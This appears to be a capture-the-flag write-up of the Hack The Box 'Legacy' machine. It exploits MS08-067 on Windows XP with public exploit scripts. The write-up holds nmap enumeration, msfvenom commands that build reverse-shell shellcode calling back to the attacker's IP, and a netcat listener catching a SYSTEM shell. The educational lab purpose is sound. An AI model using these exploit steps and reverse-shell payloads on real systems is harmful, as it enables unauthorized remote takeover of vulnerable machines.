Owning a Legacy - HTB Legacy Writeup
Owning a Legacy - HTB Legacy Writeup
A quick writeup of ‘Legacy’ from HTB
| Host Information | ||
|---|---|---|
| Hostname | Operating System | HTB Difficulty Rating |
| Legacy | Windows | Easy |
Enumeration
IP of box is 10.10.10.4
nmap
Per usual, we’ll start with an nmap scan of the system:
root@kali:/writeups/HTB/legacy/enumeration# nmap -sC -sV -O -oA legacy 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-13 13:07 CST
Stats: 0:00:25 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.53% done; ETC: 13:08 (0:00:00 remaining)
Stats: 0:00:39 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.27% done; ETC: 13:08 (0:00:00 remaining)
Nmap scan report for 10.10.10.4
Host is up (0.047s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Device type: general purpose|specialized
Running (JUST GUESSING): Microsoft Windows XP|2003|2000|2008 (92%), General Dynamics embedded (88%)
OS CPE: cpe:/o:microsoft:windows_xp cpe:/o:microsoft:windows_server_2003 cpe:/o:microsoft:windows_2000::sp4 cpe:/o:microsoft:windows_server_2008::sp2
Aggressive OS guesses: Microsoft Windows XP SP2 or Windows Small Business Server 2003 (92%), Microsoft Windows 2000 SP4 or Windows XP SP2 or SP3 (92%), Microsoft Windows XP SP2 (91%), Microsoft Windows Server 2003 (90%), Microsoft Windows XP SP3 (90%), Microsoft Windows XP Professional SP3 (90%), Microsoft Windows XP SP2 or SP3 (90%), Microsoft Windows XP Professional SP2 (90%), Microsoft Windows XP SP2 or Windows Server 2003 (90%), Microsoft Windows 2000 Server (89%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results:
|_clock-skew: mean: -3h58m53s, deviation: 1h24m51s, median: -4h58m53s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:b4:02 (VMware)
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
| NetBIOS computer name: LEGACY\x00
| Workgroup: HTB\x00
|_ System time: 2020-01-13T18:09:12+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.23 seconds
root@kali:/writeups/HTB/legacy/enumeration#
Attempted Exploitation with MS08-067
OK, interesting, so it’s likely an XP SP2 or SP3. box. Seeing that 139 and 445 are open, it looks like the exploit might lie with netbios or SMB. Based on the name of the box, the fact that it is XP, i’m going to try MS-08-067() first, as I’ve had luck with that vulnerability on XP boxes in the past. Some info here: CVE - CVE-2008-4250 and here: MS08-067 - Rapid7. We know that there is a a msf module for this vulnerability, but let’s see what else is out there:
Searching on searchsploit for MS08-067 gives us the following:
root@kali:/writeups/HTB/legacy/enumeration# searchsploit ms08-067
-------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------- ----------------------------------------
Microsoft Windows - 'NetAPI32.dll' Code Exe | exploits/windows/remote/40279.py
Microsoft Windows Server - Code Execution ( | exploits/windows/dos/6824.txt
Microsoft Windows Server - Code Execution ( | exploits/windows/remote/7104.c
Microsoft Windows Server - Service Relative | exploits/windows/remote/16362.rb
Microsoft Windows Server - Universal Code E | exploits/windows/remote/6841.txt
Microsoft Windows Server 2000/2003 - Code E | exploits/windows/remote/7132.py
-------------------------------------------- ----------------------------------------
Shellcodes: No Result
Awesome, looks like some promising potentials. Let’s start with the first one by examining the code. Looks like it’s a python2 exploit with requries the impacket module. I believe kali already has this by default, but if not, we can install it with pip.
Let’s go ahead and save it to the exploits folder:
root@kali:/writeups/HTB/legacy/exploits# searchsploit -m exploits/windows/remote/40279.py
Exploit: Microsoft Windows - 'NetAPI32.dll' Code Execution (Python) (MS08-067)
URL: https://www.exploit-db.com/exploits/40279
Path: /usr/share/exploitdb/exploits/windows/remote/40279.py
File Type: Python script, ASCII text executable, with very long lines, with CRLF line terminators
Copied to: /writeups/HTB/legacy/exploits/40279.py
examining and trying the exploit
Upon running it to check if we need to install the dependencies via pip, it appears we do need to install impacket (on kali), but pycrypto is already installed.
So let’s install it with pip install impacket, then take another look at the exploit.
Running with no arguments shows usage, which is straightforward:
Usage: 40279.py <target ip>
Example: MS08_067.py 192.168.1.1 1 for Windows XP SP0/SP1 Universal
Example: MS08_067.py 192.168.1.1 2 for Windows 2000 Universal
Great, so we should just need to run python2 40279.py 10.10.10.4 1
Now we just need to see how we set up the payload and how the payload is delivered by the exploit. Taking a look we see the following in the exploit code
#Reverse TCP shellcode from metasploit; port 443 IP 192.168.40.103; badchars \x00\x0a
\x0d\x5c\x5f\x2f\x2e\x40;
#Make sure there are enough nops at the begining for the decoder to work. Payload siz
e: 380 bytes (nopsleps are not included)
#EXITFUNC=thread Important!
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443 EXITFUNC=
thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python
So, from what we can see, it looks like we need to generate our own shellcode from msfvenom and then paste it in place of the shellcode that already exists in the PoC, assigned to the shellcode variable. (e.g. shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"). There seems to be at least two fairly straightforward ways of doing this:
1) deleting the shellcode in the exploit, and pasting the output from msfvenom into the exploit. (With this we’d need to make sure there are no conflicts with varaible names (e.g. ‘buf’ from msfvenom would need to be changed to shellcode, or just the shellcode copied))
2) having the shellcode output from msfvenom stored to a defined variable to match the script (e.g. “shellcode”).
Let’s go ahead and take a look at what msfvenom generates, based on the comments in the PoC code:
So the example command from the PoC, subsitituting our HTB machine IP for the remote host and our tun0 VPN IP from kali as the local host, looks something like this:
msfvenom -p windows/shell_reverse_tcp LHOST=<VPN IP> LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python -v shellcode
While I’m sure there are several variants that would work, I personally decided to make two minor changes to the example in the code.
First, I decided to go with option 2 discussed above, having the shellcode output go to a user-defined variable with the -v flag. Here i’ll just have it match the exploit PoC, using “shellcode,” as it seems potentially easier and less prone to error.
The second slight change I made wast to use a stageless reverse tcp shell, rather than use a staged or stageless meterpreter shell. Either way should work, though.
First, let’s go ahead and make a backup of the original PoC, just in case our modification goes awry:
cp 40279.py 40279_orig.py && mv 40279.py MS08-067_exploit.py
Great, now let’s generate the shellcode with msfvenom:
root@kali:/writeups/HTB/legacy/exploits# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.50 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python -v shellcode
a swing and a miss
OK, now let’s paste this in place of the PoC shellcode and see if we have any luck.
Giving it a run doesn’t error out, but I don’t catch anything on my netcat listener:
root@kali:/writeups/HTB/legacy/exploits# python2 MS08-067_exploit.py 10.10.10.4 1
#######################################################################
# MS08-067 Exploit
# This is a modified verion of Debasis Mohanty's code (https://www.exploit-db.com/exploits/7132/).
# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi
#######################################################################
Windows XP SP0/SP1 Universal
[-]Initiating connection
[-]connected to ncacn_np:10.10.10.4[\pipe\browser]
Exploit finish
I tried several small edits around the shellcode, with no success, when I realized that I needed to look at this exploit a bit more. It appears that this particular PoC only has support for Server 2003 variants, and XP SP0/SP1. According to nmap, our system is likely SP2/SP3, so this exploit likely won’t work. Back to searchsploit then.
After some googling, I found what seems to be a modification of the version of the exploit I tried above on this github page. This one seems promising as it mentions supporting a wider variety of platforms, and Windows XP SP2/SP3 has a mention on the page as well.
Let’s give it a shot:
Round 2 of MS08-067 exploitation
First let’s download the git repo to our exploit folder:
git clone https://github.com/andyacer/ms08_067.git
After following the instructions on upgradng the impacket version on kali in the above link, we can generate the shellcode, similar to last time. But before we do that, I’m going to take a note from last time to more thoroughly read the exploit notes before I hop right along. It looks like there’s several options on the exploit to select the system type. My choice will be between 6 and 7, per the documentation:
ms08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)
ms08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)
The documentation also seems to mention a good NSE script that pairs with the exploit. While it may provide no new information, it can’t hurt, let’s see what we get:
nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 10.10.10.4
root@kali:~# nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-13 19:53 CST
Nmap scan report for 10.10.10.4
Host is up (0.049s latency).
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Host script results:
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
| NetBIOS computer name: LEGACY\x00
| Workgroup: HTB\x00
|_ System time: 2020-01-14T00:54:08+02:00
Nmap done: 1 IP address (1 host up) scanned in 0.90 seconds
OK, so that didn’t really tell me anything new, I will attempt both versions, if one fails.
Now let’s go ahead and generate shellcode, using one of the commands handily provided to us in the code comments. I’ll stick with port 443 for now.
msfvenom -p windows/shell_reverse_tcp LHOST=<VPN IP> LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
OK, we got our shellcode, and it’s a bit different in format than the prior PoC we used, looks like we don’t have to worry about variable names for the shellcode matching, just paste it in there.
Once that’s done, let’s give it a shot:
Making sure our listener is still up (if not we can start it again with nc -lnvp 443), we’ll run:
root@kali:/writeups/HTB/legacy/exploits/ms08_067# python2 ms08_067_2018.py 10.10.10.4 6 445
#######################################################################
# MS08-067 Exploit
# This is a modified verion of Debasis Mohanty's code (https://www.exploit-db.com/exploits/7132/).
# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi
#
# Mod in 2018 by Andy Acer:
# - Added support for selecting a target port at the command line.
# It seemed that only 445 was previously supported.
# - Changed library calls to correctly establish a NetBIOS session for SMB transport
# - Changed shellcode handling to allow for variable length shellcode. Just cut and paste
# into this source file.
#######################################################################
Windows XP SP3 English (NX)
[-]Initiating connection
[-]connected to ncacn_np:10.10.10.4[\pipe\browser]
Exploit finish
And if we head to our listener window, boom, we got a shell:
root@kali:~# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.50] from (UNKNOWN) [10.10.10.4] 1028
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
As expected, like other SMB exploits, this is a one-shot to system level privileges. From here, we can grab the flags on the user’s and Administrator’s desktops.
That’s all for thie one, thanks for reading!
~@initinfosec
Let me know what you think of this article on twitter @initinfosec or leave a comment below!